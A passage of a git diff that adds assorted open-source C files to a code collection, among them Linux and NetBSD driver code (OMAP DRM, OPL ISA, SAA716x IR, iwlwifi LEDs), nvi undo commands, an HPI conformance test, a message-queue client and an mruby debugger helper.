*omap_gem_prime_import(struct drm_device *dev, + struct dma_buf *dma_buf) +{ + struct dma_buf_attachment *attach; + struct drm_gem_object *obj; + struct sg_table *sgt; + int ret; + + if (dma_buf->ops == &omap_dmabuf_ops) { + obj = dma_buf->priv; + if (obj->dev == dev) { + /* + * Importing dmabuf exported from out own gem increases + * refcount on gem itself instead of f_count of dmabuf. + */ + drm_gem_object_reference(obj); + return obj; + } + } + + attach = dma_buf_attach(dma_buf, dev->dev); + if (IS_ERR(attach)) + return ERR_CAST(attach); + + get_dma_buf(dma_buf); + + sgt = dma_buf_map_attachment(attach, DMA_BIDIRECTIONAL); + if (IS_ERR(sgt)) { + ret = PTR_ERR(sgt); + goto fail_detach; + } + + obj = omap_gem_new_dmabuf(dev, dma_buf->size, sgt); + if (IS_ERR(obj)) { + ret = PTR_ERR(obj); + goto fail_unmap; + } + + obj->import_attach = attach; + + return obj; + +fail_unmap: + dma_buf_unmap_attachment(attach, sgt, DMA_BIDIRECTIONAL); +fail_detach: + dma_buf_detach(dma_buf, attach); + dma_buf_put(dma_buf); + + return ERR_PTR(ret); +} diff --git a/pool/shard011/C/0141956_v_undo.c b/pool/shard011/C/0141956_v_undo.c new file mode 100644 index 0000000000000000000000000000000000000000..11f6499e1cb45df4deadb83dc8b4b91ac2e4a12a --- /dev/null +++ b/pool/shard011/C/0141956_v_undo.c @@ -0,0 +1,136 @@ +/* $NetBSD: v_undo.c,v 1.2 2013/11/22 15:52:06 christos Exp $ */ +/*- + * Copyright (c) 1992, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * Copyright (c) 1992, 1993, 1994, 1995, 1996 + * Keith Bostic. All rights reserved. + * + * See the LICENSE file for redistribution information. + */ + +#include "config.h" + +#ifndef lint +static const char sccsid[] = "Id: v_undo.c,v 10.6 2001/06/25 15:19:36 skimo Exp (Berkeley) Date: 2001/06/25 15:19:36 "; +#endif /* not lint */ + +#include +#include +#include + +#include +#include +#include +#include +#include +#include + +#include "../common/common.h" +#include "vi.h" + +/* + * v_Undo -- U + * Undo changes to this line. + * + * PUBLIC: int v_Undo __P((SCR *, VICMD *)); + */ +int +v_Undo(SCR *sp, VICMD *vp) +{ + /* + * Historically, U reset the cursor to the first column in the line + * (not the first non-blank). This seems a bit non-intuitive, but, + * considering that we may have undone multiple changes, anything + * else (including the cursor position stored in the logging records) + * is going to appear random. + */ + vp->m_final.cno = 0; + + /* + * !!! + * Set up the flags so that an immediately subsequent 'u' will roll + * forward, instead of backward. In historic vi, a 'u' following a + * 'U' redid all of the changes to the line. Given that the user has + * explicitly discarded those changes by entering 'U', it seems likely + * that the user wants something between the original and end forms of + * the line, so starting to replay the changes seems the best way to + * get to there. + */ + F_SET(sp->ep, F_UNDO); + sp->ep->lundo = BACKWARD; + + return (log_setline(sp)); +} + +/* + * v_undo -- u + * Undo the last change. + * + * PUBLIC: int v_undo __P((SCR *, VICMD *)); + */ +int +v_undo(SCR *sp, VICMD *vp) +{ + EXF *ep; + + /* Set the command count. */ + VIP(sp)->u_ccnt = sp->ccnt; + + /* + * !!! + * In historic vi, 'u' toggled between "undo" and "redo", i.e. 'u' + * undid the last undo. However, if there has been a change since + * the last undo/redo, we always do an undo. To make this work when + * the user can undo multiple operations, we leave the old semantic + * unchanged, but make '.' after a 'u' do another undo/redo operation. + * This has two problems. + * + * The first is that 'u' didn't set '.' in historic vi. So, if a + * user made a change, realized it was in the wrong place, does a + * 'u' to undo it, moves to the right place and then does '.', the + * change was reapplied. To make this work, we only apply the '.' + * to the undo command if it's the command immediately following an + * undo command. See vi/vi.c:getcmd() for the details. + * + * The second is that the traditional way to view the numbered cut + * buffers in vi was to enter the commands "1pu.u.u.u. which will + * no longer work because the '.' immediately follows the 'u' command. + * Since we provide a much better method of viewing buffers, and + * nobody can think of a better way of adding in multiple undo, this + * remains broken. + * + * !!! + * There is change to historic practice for the final cursor position + * in this implementation. In historic vi, if an undo was isolated to + * a single line, the cursor moved to the start of the change, and + * then, subsequent 'u' commands would not move it again. (It has been + * pointed out that users used multiple undo commands to get the cursor + * to the start of the changed text.) Nvi toggles between the cursor + * position before and after the change was made. One final issue is + * that historic vi only did this if the user had not moved off of the + * line before entering the undo command; otherwise, vi would move the + * cursor to the most attractive position on the changed line. + * + * It would be difficult to match historic practice in this area. You + * not only have to know that the changes were isolated to one line, + * but whether it was the first or second undo command as well. And, + * to completely match historic practice, we'd have to track users line + * changes, too. This isn't worth the effort. + */ + ep = sp->ep; + if (!F_ISSET(ep, F_UNDO)) { + F_SET(ep, F_UNDO); + ep->lundo = BACKWARD; + } else if (!F_ISSET(vp, VC_ISDOT)) + ep->lundo = ep->lundo == BACKWARD ? FORWARD : BACKWARD; + + switch (ep->lundo) { + case BACKWARD: + return (log_backward(sp, &vp->m_final)); + case FORWARD: + return (log_forward(sp, &vp->m_final)); + default: + abort(); + } + /* NOTREACHED */ +} diff --git a/pool/shard011/C/0141957_9.c b/pool/shard011/C/0141957_9.c new file mode 100644 index 0000000000000000000000000000000000000000..0e97a834b3387ed47b7dd5deebe190deac72aafe --- /dev/null +++ b/pool/shard011/C/0141957_9.c @@ -0,0 +1,87 @@ +/* -*- linux-c -*- + * + * (C) Copyright IBM Corp. 2004, 2005 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 + * USA + * + * Author(s): + * Carl McAdams + * Donald A. Barre + * + * Spec: HPI-B.01.01 + * Function: saHpiIdrAreaAdd + * Description: + * Call saHpiIdrAreaAdd() on an IDR which is read only. + * Expected return: SA_ERR_HPI_READ_ONLY. + * Line: P104-30:P104-30 + */ + +#include +#include "../include/inventory_test.h" + +/************************************************************************* + * + * Test adding an area to a read-only IDR. + * + *************************************************************************/ + +int processInventoryRdr(SaHpiSessionIdT sessionId, + SaHpiResourceIdT resourceId, + SaHpiRdrT * rdr, SaHpiInventoryRecT * inventoryRec) +{ + SaErrorT status; + int retval = SAF_TEST_UNKNOWN; + SaHpiEntryIdT AreaId; + SaHpiIdrInfoT IdrInfo; + + // Check to see if this is a read-only IDR + status = saHpiIdrInfoGet(sessionId, resourceId, + inventoryRec->IdrId, &IdrInfo); + + if (status != SA_OK) { + retval = SAF_TEST_UNRESOLVED; + e_print(saHpiIdrInfoGet, SA_OK, status); + } else if (!IdrInfo.ReadOnly) { + // TEST CASE NEEDS a read-only IDR + retval = SAF_TEST_NOTSUPPORT; + } else { + + // Call saHpiIdrAreaAdd() on an IDR which is read only. + + status = saHpiIdrAreaAdd(sessionId, + resourceId, + inventoryRec->IdrId, + SAHPI_IDR_AREATYPE_PRODUCT_INFO, + &AreaId); + + if (status == SA_ERR_HPI_READ_ONLY) { + retval = SAF_TEST_PASS; + } else { + retval = SAF_TEST_FAIL; + e_print(saHpiIdrAreaAdd, SA_ERR_HPI_READ_ONLY, status); + } + } + + return retval; +} + +/************************************************************************* + * + * Process all Inventory RDRs. The below macro expands to + * generate all of the generic codes necessary to call the given + * function to process an RDR. + * + *************************************************************************/ + +processAllInventoryRdrs(processInventoryRdr) diff --git a/pool/shard011/C/0141958_cmsg.c b/pool/shard011/C/0141958_cmsg.c new file mode 100644 index 0000000000000000000000000000000000000000..8e9efc9d2491ee2e237bd7f77ccdb3dabdf369cc --- /dev/null +++ b/pool/shard011/C/0141958_cmsg.c @@ -0,0 +1,156 @@ +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include + +uint16_t clara_sync_seq = 0; + +int clara_send_cmd_sync(long int target, uint32_t type, void *msg, size_t size) +{ + int st; + ssize_t nr; + clara_sync_ack_msg_t reply_msg; + clara_message_t *m = (clara_message_t *) msg; + assert(m != NULL); + + m->seq = clara_sync_seq++; + + st = clara_send_cmd_async(target, type, msg, size); + if (st == -1) + return st; + + nr = clara_recv_ev_block(((long int)m->seq) | CLARA_MSG_TARGET_SYNC_BIT, &reply_msg, CLARA_MSG_SIZE(clara_sync_ack_msg_t)); + + if (nr == -1) + return (int) nr; + + if (nr != CLARA_MSG_SIZE(clara_sync_ack_msg_t)){ + errno = EINVAL; + return -1; + } + + if (reply_msg.msg.type != CLARA_MSG_SYNC_ACK){ + errno = EINVAL; + return -1; + } + + return reply_msg.result; +} + +void *clara_send_cmd_sync_pl(long int target, uint32_t type, void *msg, size_t size) +{ + void *payload_copy, *payload; + int st; + ssize_t nr; + clara_sync_ack_msg_t reply_msg; + clara_message_t *m = (clara_message_t *) msg; + assert(m != NULL); + + m->seq = clara_sync_seq++; + + st = clara_send_cmd_async(target, type, msg, size); + if (st == -1) + return NULL; + + nr = clara_recv_ev_block(((long int)m->seq) | CLARA_MSG_TARGET_SYNC_BIT, &reply_msg, CLARA_MSG_SIZE(clara_sync_ack_msg_t)); + + if (nr == -1) + return NULL; + + if (nr != CLARA_MSG_SIZE(clara_sync_ack_msg_t)){ + errno = EINVAL; + return NULL; + } + + if (reply_msg.msg.type != CLARA_MSG_SYNC_ACK){ + errno = EINVAL; + return NULL; + } + + payload_copy = malloc(reply_msg.payload_size); + assert( payload_copy != NULL ); + + payload = shmat(reply_msg.payload_handle, NULL, 0); + assert( payload != -1 ); + + memcpy(payload_copy, payload, reply_msg.payload_size); + + shmdt(payload); + + shmctl(reply_msg.payload_handle, IPC_RMID, NULL); + + return payload_copy; +} + +int clara_send_cmd_async(long int target, uint32_t type, void *msg, size_t size) +{ + clara_message_t *m = (clara_message_t *) msg; + assert(m != NULL); + + m->target = target; + m->type = type; + m->magic = CLARA_MSG_MAGIC; + + return msgsnd(clara_client_session.cmd_queue, msg, size, 0); +} + +ssize_t clara_recv_ev_block(long int target, void *msg, size_t size) +{ + ssize_t sz; + clara_message_t *m = (clara_message_t *) msg; + assert(m != NULL); + + sz = msgrcv(clara_client_session.event_queue, msg, size, target, 0); + if (sz == -1) + return -1; + + if (sz < CLARA_MSG_SIZE(clara_message_t)) { + errno = EINVAL; + return -1; + } + + if (m->magic != CLARA_MSG_MAGIC) { + errno = EINVAL; + return -1; + } + + return sz; + +} + +ssize_t clara_recv_ev(long int target, void *msg, size_t size) +{ + ssize_t sz; + clara_message_t *m = (clara_message_t *) msg; + assert(m != NULL); + + sz = msgrcv(clara_client_session.event_queue, msg, size, target, IPC_NOWAIT); + if (sz == -1) { + if ((errno == ENOMSG) || (errno == EAGAIN)) + return 0; + else + return -1; + } + + if (sz < CLARA_MSG_SIZE(clara_message_t)) { + errno = EINVAL; + return -1; + } + + if (m->magic != CLARA_MSG_MAGIC) { + errno = EINVAL; + return -1; + } + + return sz; + +} diff --git a/pool/shard011/C/0141959_opl_isa.c b/pool/shard011/C/0141959_opl_isa.c new file mode 100644 index 0000000000000000000000000000000000000000..47ce1944397f437fc21bdb5b6eff0161cf685b17 --- /dev/null +++ b/pool/shard011/C/0141959_opl_isa.c @@ -0,0 +1,121 @@ +/* $NetBSD: opl_isa.c,v 1.21 2012/04/09 10:18:17 plunky Exp $ */ + +/*- + * Copyright (c) 1999, 2008 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Lennart Augustsson, and by Andrew Doran. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include +__KERNEL_RCSID(0, "$NetBSD: opl_isa.c,v 1.21 2012/04/09 10:18:17 plunky Exp $"); + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include + +#include +#include + +#include + +#define OPL_SIZE 4 + +int opl_isa_match(device_t, cfdata_t, void *); +void opl_isa_attach(device_t, device_t, void *); + +struct opl_isa_softc { + struct opl_softc sc_opl; + kmutex_t sc_lock; +}; + +CFATTACH_DECL_NEW(opl_isa, sizeof(struct opl_isa_softc), + opl_isa_match, opl_isa_attach, NULL, NULL); + +int +opl_isa_match(device_t parent, cfdata_t match, void *aux) +{ + struct isa_attach_args *ia = aux; + bus_space_handle_t ioh; + int r; + + if (ia->ia_nio < 1) + return (0); + + if (ISA_DIRECT_CONFIG(ia)) + return (0); + + if (ia->ia_io[0].ir_addr == ISA_UNKNOWN_PORT) + return (0); + + if (bus_space_map(ia->ia_iot, ia->ia_io[0].ir_addr, OPL_SIZE, 0, &ioh)) + return (0); + r = opl_match(ia->ia_iot, ioh, 0); + bus_space_unmap(ia->ia_iot, ioh, OPL_SIZE); + if (r != 0) { + ia->ia_nio = 1; + ia->ia_io[0].ir_size = OPL_SIZE; + + ia->ia_nirq = 0; + ia->ia_niomem = 0; + ia->ia_ndrq = 0; + } + return (r); +} + +void +opl_isa_attach(device_t parent, device_t self, void *aux) +{ + struct opl_softc *sc = device_private(self); + struct opl_isa_softc *isa = device_private(self); + struct isa_attach_args *ia = aux; + + sc->dev = self; + sc->iot = ia->ia_iot; + + if (bus_space_map(sc->iot, ia->ia_io[0].ir_addr, OPL_SIZE, + 0, &sc->ioh)) { + aprint_error("opl_isa_attach: bus_space_map failed\n"); + return; + } + sc->offs = 0; + sc->lock = &isa->sc_lock; + mutex_init(&isa->sc_lock, MUTEX_DEFAULT, IPL_NONE); + + opl_attach(sc); +} diff --git a/pool/shard011/C/0141960_apilist.c b/pool/shard011/C/0141960_apilist.c new file mode 100644 index 0000000000000000000000000000000000000000..03846cd50c44b089cc7b273e558567abe83020ca --- /dev/null +++ b/pool/shard011/C/0141960_apilist.c @@ -0,0 +1,235 @@ +/* + * apilist.c + */ + +#include +#include +#include + +#include "mrdb.h" +#include "mrdberror.h" +#include "apilist.h" +#include "mruby/compile.h" +#include "mruby/irep.h" +#include "mruby/debug.h" + +#define LINE_BUF_SIZE MAX_COMMAND_LINE + +typedef struct source_file { + char *path; + uint16_t lineno; + FILE *fp; +} source_file; + +static void +source_file_free(mrb_state *mrb, source_file *file) +{ + if (file != NULL) { + if (file->path != NULL) { + mrb_free(mrb, file->path); + } + if (file->fp != NULL) { + fclose(file->fp); + file->fp = NULL; + } + mrb_free(mrb, file); + } +} + +static char* +build_path(mrb_state *mrb, const char *dir, const char *base) +{ + int len; + char *path = NULL; + + len = strlen(base) + 1; + + if (strcmp(dir, ".")) { + len += strlen(dir) + sizeof("/") - 1; + } + + path = mrb_malloc(mrb, len); + memset(path, 0, len); + + if (strcmp(dir, ".")) { + strcat(path, dir); + strcat(path, "/"); + } + strcat(path, base); + + return path; +} + +static char* +dirname(mrb_state *mrb, const char *path) +{ + size_t len; + char *p, *dir; + + if (path == NULL) { + return NULL; + } + + p = strrchr(path, '/'); + len = p != NULL ? p - path : strlen(path); + + dir = mrb_malloc(mrb, len + 1); + strncpy(dir, path, len); + dir[len] = '\0'; + + return dir; +} + +static source_file* +source_file_new(mrb_state *mrb, mrb_debug_context *dbg, char *filename) +{ + source_file *file = NULL; + + file = mrb_malloc(mrb, sizeof(source_file)); + + memset(file, '\0', sizeof(source_file)); + file->fp = fopen(filename, "rb"); + + if (file->fp == NULL) { + source_file_free(mrb, file); + return NULL; + } + + file->lineno = 1; + file->path = mrb_malloc(mrb, strlen(filename) + 1); + strcpy(file->path, filename); + return file; +} + +static mrb_bool +remove_newlines(char *s, FILE *fp) +{ + int c; + char *p; + size_t len; + + if ((len = strlen(s)) == 0) { + return FALSE; + } + + p = s + len - 1; + + if (*p != '\r' && *p != '\n') { + return FALSE; + } + + if (*p == '\r') { + /* peek the next character and skip '\n' */ + if ((c = fgetc(fp)) != '\n') { + ungetc(c, fp); + } + } + + /* remove trailing newline characters */ + while (s <= p && (*p == '\r' || *p == '\n')) { + *p-- = '\0'; + } + + return TRUE; +} + +static void +show_lines(source_file *file, uint16_t line_min, uint16_t line_max) +{ + char buf[LINE_BUF_SIZE]; + int show_lineno = 1, found_newline = 0, is_printed = 0; + + if (file->fp == NULL) { + return; + } + + while (fgets(buf, sizeof(buf), file->fp) != NULL) { + found_newline = remove_newlines(buf, file->fp); + + if (line_min <= file->lineno) { + if (show_lineno) { + printf("%-8d", file->lineno); + } + show_lineno = found_newline; + printf(found_newline ? "%s\n" : "%s", buf); + is_printed = 1; + } + + if (found_newline) { + if (line_max < ++file->lineno) { + break; + } + } + } + + if (is_printed && !found_newline) { + printf("\n"); + } +} + +char* +mrb_debug_get_source(mrb_state *mrb, mrdb_state *mrdb, const char *srcpath, const char *filename) +{ + int i; + FILE *fp; + const char *search_path[3]; + char *path = NULL; + + search_path[0] = srcpath; + search_path[1] = dirname(mrb, mrb_debug_get_filename(mrdb->dbg->root_irep, 0)); + search_path[2] = "."; + + for (i = 0; i < 3; i++) { + if (search_path[i] == NULL) { + continue; + } + + if ((path = build_path(mrb, search_path[i], filename)) == NULL) { + continue; + } + + if ((fp = fopen(path, "rb")) == NULL) { + mrb_free(mrb, path); + path = NULL; + continue; + } + fclose(fp); + break; + } + + mrb_free(mrb, (void *)search_path[1]); + + return path; +} + +int32_t +mrb_debug_list(mrb_state *mrb, mrb_debug_context *dbg, char *filename, uint16_t line_min, uint16_t line_max) +{ + char *ext; + source_file *file; + + if (mrb == NULL || dbg == NULL || filename == NULL) { + return MRB_DEBUG_INVALID_ARGUMENT; + } + + ext = strrchr(filename, '.'); + + if (ext == NULL || strcmp(ext, ".rb")) { + printf("List command only supports .rb file.\n"); + return MRB_DEBUG_INVALID_ARGUMENT; + } + + if (line_min > line_max) { + return MRB_DEBUG_INVALID_ARGUMENT; + } + + if ((file = source_file_new(mrb, dbg, filename)) != NULL) { + show_lines(file, line_min, line_max); + source_file_free(mrb, file); + return MRB_DEBUG_OK; + } + else { + printf("Invalid source file named %s.\n", filename); + return MRB_DEBUG_INVALID_ARGUMENT; + } +} diff --git a/pool/shard011/C/0141961_saa716x_input.c b/pool/shard011/C/0141961_saa716x_input.c new file mode 100644 index 0000000000000000000000000000000000000000..5fcd719012c5ca9306d70f00336e99c660b33399 --- /dev/null +++ b/pool/shard011/C/0141961_saa716x_input.c @@ -0,0 +1,208 @@ +/* + Driver for the SAA716x IR receiver + Copyright (C) 2012 Konstantin Dimitrov + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + */ + +#include +#include + +#include "saa716x_input.h" +#include "saa716x_reg.h" + +#define MODULE_NAME "saa716x" + +static void saa716x_ir_raw_decode_timer_end(unsigned long data) +{ + struct saa716x_dev *saa716x = (struct saa716x_dev *)data; + struct saa716x_ir *ir = saa716x->ir; + + ir_raw_event_handle(saa716x->ir->rc); + + ir->active = false; +} + +static int saa716x_input_ir_start(void *priv) +{ + struct saa716x_dev *saa716x = priv; + struct saa716x_ir *ir; + + if (saa716x->ir == NULL) + return -EINVAL; + + ir = saa716x->ir; + + if (ir->running) + return 0; + + ir->running = true; + ir->active = false; + + setup_timer(&ir->timer, saa716x_ir_raw_decode_timer_end, + (unsigned long)saa716x); + + return 0; +} + +static int saa716x_input_ir_open(struct rc_dev *rc) +{ + struct saa716x_dev *saa716x = rc->priv; + + if (saa716x == NULL) + return -ENODEV; + + return saa716x_input_ir_start(saa716x); +} + +static void saa716x_input_ir_stop(void *priv) +{ + struct saa716x_dev *saa716x = priv; + struct saa716x_ir *ir; + + if (saa716x->ir == NULL) + return; + + ir = saa716x->ir; + + if (!ir->running) + return; + + del_timer_sync(&ir->timer); + + ir->active = false; + ir->running = false; + + return; +} + +static void saa716x_input_ir_close(struct rc_dev *rc) +{ + struct saa716x_dev *saa716x = rc->priv; + + if (saa716x != NULL) + saa716x_input_ir_stop(saa716x); +} + +int saa716x_input_init(struct saa716x_dev *saa716x) +{ + struct saa716x_ir *ir; + struct rc_dev *rc; + + int ret; + + /* saa716x board instance IR state */ + ir = kzalloc(sizeof(struct saa716x_ir), GFP_KERNEL); + if (ir == NULL) + return -ENOMEM; + + ir->name = kasprintf(GFP_KERNEL, "saa716x IR (%s)", + saa716x->config->model_name); + ir->phys = kasprintf(GFP_KERNEL, "pci-%s/ir0", + pci_name(saa716x->pdev)); + + /* input device */ + rc = rc_allocate_device(); + if (!rc) { + ret = -ENOMEM; + goto err_out_free; + } + + ir->rc = rc; + rc->input_name = ir->name; + rc->input_phys = ir->phys; + rc->input_id.bustype = BUS_PCI; + rc->input_id.version = 1; + if (saa716x->pdev->subsystem_vendor) { + rc->input_id.vendor = saa716x->pdev->subsystem_vendor; + rc->input_id.product = saa716x->pdev->subsystem_device; + } else { + rc->input_id.vendor = saa716x->pdev->vendor; + rc->input_id.product = saa716x->pdev->device; + } + rc->dev.parent = &saa716x->pdev->dev; + rc->driver_type = RC_DRIVER_IR_RAW; + rc->priv = saa716x; + rc->open = saa716x_input_ir_open; + rc->close = saa716x_input_ir_close; + rc->driver_name = MODULE_NAME; + + /* hardware specific */ + rc->map_name = RC_MAP_TBS_NEC; + ir->mask_keyevent = 1 << 4; + + saa716x->ir = ir; + ret = rc_register_device(rc); + if (ret) + goto err_out_stop; + + return 0; + +err_out_stop: + saa716x->ir = NULL; + rc_free_device(rc); +err_out_free: + kfree(ir->phys); + kfree(ir->name); + kfree(ir); + return ret; +} + +void saa716x_input_fini(struct saa716x_dev *saa716x) +{ + if (saa716x->ir == NULL) + return; + saa716x_input_ir_stop(saa716x); + rc_unregister_device(saa716x->ir->rc); + kfree(saa716x->ir->phys); + kfree(saa716x->ir->name); + kfree(saa716x->ir); + saa716x->ir = NULL; +} + +static int saa716x_ir_raw_decode_irq(struct saa716x_dev *saa716x) +{ + struct saa716x_ir *ir = saa716x->ir; + unsigned long timeout; + int space; + + /* key event */ + space = SAA716x_EPRD(GPIO, GPIO_RD) & ir->mask_keyevent; + ir_raw_event_store_edge(saa716x->ir->rc, space ? IR_SPACE : IR_PULSE); + + /* 15ms wait time before start processing the first event */ + if (!ir->active) { + timeout = jiffies + msecs_to_jiffies(15); + mod_timer(&ir->timer, timeout); + ir->active = true; + } + + return 1; +} + +void saa716x_input_irq_handler(struct saa716x_dev *saa716x) +{ + struct saa716x_ir *ir; + + if (!saa716x || !saa716x->ir) + return; + + ir = saa716x->ir; + + if (!ir->running) + return; + + saa716x_ir_raw_decode_irq(saa716x); +} diff --git a/pool/shard011/C/0141962_led.c b/pool/shard011/C/0141962_led.c new file mode 100644 index 0000000000000000000000000000000000000000..dd387aba33179486efe0d633472280937bcd4652 --- /dev/null +++ b/pool/shard011/C/0141962_led.c @@ -0,0 +1,210 @@ +// SPDX-License-Identifier: GPL-2.0-only +/****************************************************************************** + * + * Copyright(c) 2003 - 2014 Intel Corporation. All rights reserved. + * Copyright (C) 2019 Intel Corporation + * + * Contact Information: + * Intel Linux Wireless + * Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497 + * + *****************************************************************************/ + + +#include +#include +#include +#include +#include +#include +#include +#include +#include "iwl-io.h" +#include "iwl-trans.h" +#include "iwl-modparams.h" +#include "dev.h" +#include "agn.h" + +/* Throughput OFF time(ms) ON time (ms) + * >300 25 25 + * >200 to 300 40 40 + * >100 to 200 55 55 + * >70 to 100 65 65 + * >50 to 70 75 75 + * >20 to 50 85 85 + * >10 to 20 95 95 + * >5 to 10 110 110 + * >1 to 5 130 130 + * >0 to 1 167 167 + * <=0 SOLID ON + */ +static const struct ieee80211_tpt_blink iwl_blink[] = { + { .throughput = 0, .blink_time = 334 }, + { .throughput = 1 * 1024 - 1, .blink_time = 260 }, + { .throughput = 5 * 1024 - 1, .blink_time = 220 }, + { .throughput = 10 * 1024 - 1, .blink_time = 190 }, + { .throughput = 20 * 1024 - 1, .blink_time = 170 }, + { .throughput = 50 * 1024 - 1, .blink_time = 150 }, + { .throughput = 70 * 1024 - 1, .blink_time = 130 }, + { .throughput = 100 * 1024 - 1, .blink_time = 110 }, + { .throughput = 200 * 1024 - 1, .blink_time = 80 }, + { .throughput = 300 * 1024 - 1, .blink_time = 50 }, +}; + +/* Set led register off */ +void iwlagn_led_enable(struct iwl_priv *priv) +{ + iwl_write32(priv->trans, CSR_LED_REG, CSR_LED_REG_TURN_ON); +} + +/* + * Adjust led blink rate to compensate on a MAC Clock difference on every HW + * Led blink rate analysis showed an average deviation of 20% on 5000 series + * and up. + * Need to compensate on the led on/off time per HW according to the deviation + * to achieve the desired led frequency + * The calculation is: (100-averageDeviation)/100 * blinkTime + * For code efficiency the calculation will be: + * compensation = (100 - averageDeviation) * 64 / 100 + * NewBlinkTime = (compensation * BlinkTime) / 64 + */ +static inline u8 iwl_blink_compensation(struct iwl_priv *priv, + u8 time, u16 compensation) +{ + if (!compensation) { + IWL_ERR(priv, "undefined blink compensation: " + "use pre-defined blinking time\n"); + return time; + } + + return (u8)((time * compensation) >> 6); +} + +static int iwl_send_led_cmd(struct iwl_priv *priv, struct iwl_led_cmd *led_cmd) +{ + struct iwl_host_cmd cmd = { + .id = REPLY_LEDS_CMD, + .len = { sizeof(struct iwl_led_cmd), }, + .data = { led_cmd, }, + .flags = CMD_ASYNC, + }; + u32 reg; + + reg = iwl_read32(priv->trans, CSR_LED_REG); + if (reg != (reg & CSR_LED_BSM_CTRL_MSK)) + iwl_write32(priv->trans, CSR_LED_REG, + reg & CSR_LED_BSM_CTRL_MSK); + + return iwl_dvm_send_cmd(priv, &cmd); +} + +/* Set led pattern command */ +static int iwl_led_cmd(struct iwl_priv *priv, + unsigned long on, + unsigned long off) +{ + struct iwl_led_cmd led_cmd = { + .id = IWL_LED_LINK, + .interval = IWL_DEF_LED_INTRVL + }; + int ret; + + if (!test_bit(STATUS_READY, &priv->status)) + return -EBUSY; + + if (priv->blink_on == on && priv->blink_off == off) + return 0; + + if (off == 0) { + /* led is SOLID_ON */ + on = IWL_LED_SOLID; + } + + led_cmd.on = iwl_blink_compensation(priv, on, + priv->trans->trans_cfg->base_params->led_compensation); + led_cmd.off = iwl_blink_compensation(priv, off, + priv->trans->trans_cfg->base_params->led_compensation); + + ret = iwl_send_led_cmd(priv, &led_cmd); + if (!ret) { + priv->blink_on = on; + priv->blink_off = off; + } + return ret; +} + +static void iwl_led_brightness_set(struct led_classdev *led_cdev, + enum led_brightness brightness) +{ + struct iwl_priv *priv = container_of(led_cdev, struct iwl_priv, led); + unsigned long on = 0; + unsigned long off = 0; + + if (brightness > 0) + on = IWL_LED_SOLID; + else + off = IWL_LED_SOLID; + + iwl_led_cmd(priv, on, off); +} + +static int iwl_led_blink_set(struct led_classdev *led_cdev, + unsigned long *delay_on, + unsigned long *delay_off) +{ + struct iwl_priv *priv = container_of(led_cdev, struct iwl_priv, led); + + return iwl_led_cmd(priv, *delay_on, *delay_off); +} + +void iwl_leds_init(struct iwl_priv *priv) +{ + int mode = iwlwifi_mod_params.led_mode; + int ret; + + if (mode == IWL_LED_DISABLE) { + IWL_INFO(priv, "Led disabled\n"); + return; + } + if (mode == IWL_LED_DEFAULT) + mode = priv->cfg->led_mode; + + priv->led.name = kasprintf(GFP_KERNEL, "%s-led", + wiphy_name(priv->hw->wiphy)); + priv->led.brightness_set = iwl_led_brightness_set; + priv->led.blink_set = iwl_led_blink_set; + priv->led.max_brightness = 1; + + switch (mode) { + case IWL_LED_DEFAULT: + WARN_ON(1); + break; + case IWL_LED_BLINK: + priv->led.default_trigger = + ieee80211_create_tpt_led_trigger(priv->hw, + IEEE80211_TPT_LEDTRIG_FL_CONNECTED, + iwl_blink, ARRAY_SIZE(iwl_blink)); + break; + case IWL_LED_RF_STATE: + priv->led.default_trigger = + ieee80211_get_radio_led_name(priv->hw); + break; + } + + ret = led_classdev_register(priv->trans->dev, &priv->led); + if (ret) { + kfree(priv->led.name); + return; + } + + priv->led_registered = true; +} + +void iwl_leds_exit(struct iwl_priv *priv) +{ + if (!priv->led_registered) + return; + + led_classdev_unregister(&priv->led); + kfree(priv->led.name); +} diff --git a/pool/shard011/C/0141963_NMI_MsgQueue.c b/pool/shard011/C/0141963_NMI_MsgQueue.c new file mode 100644 index 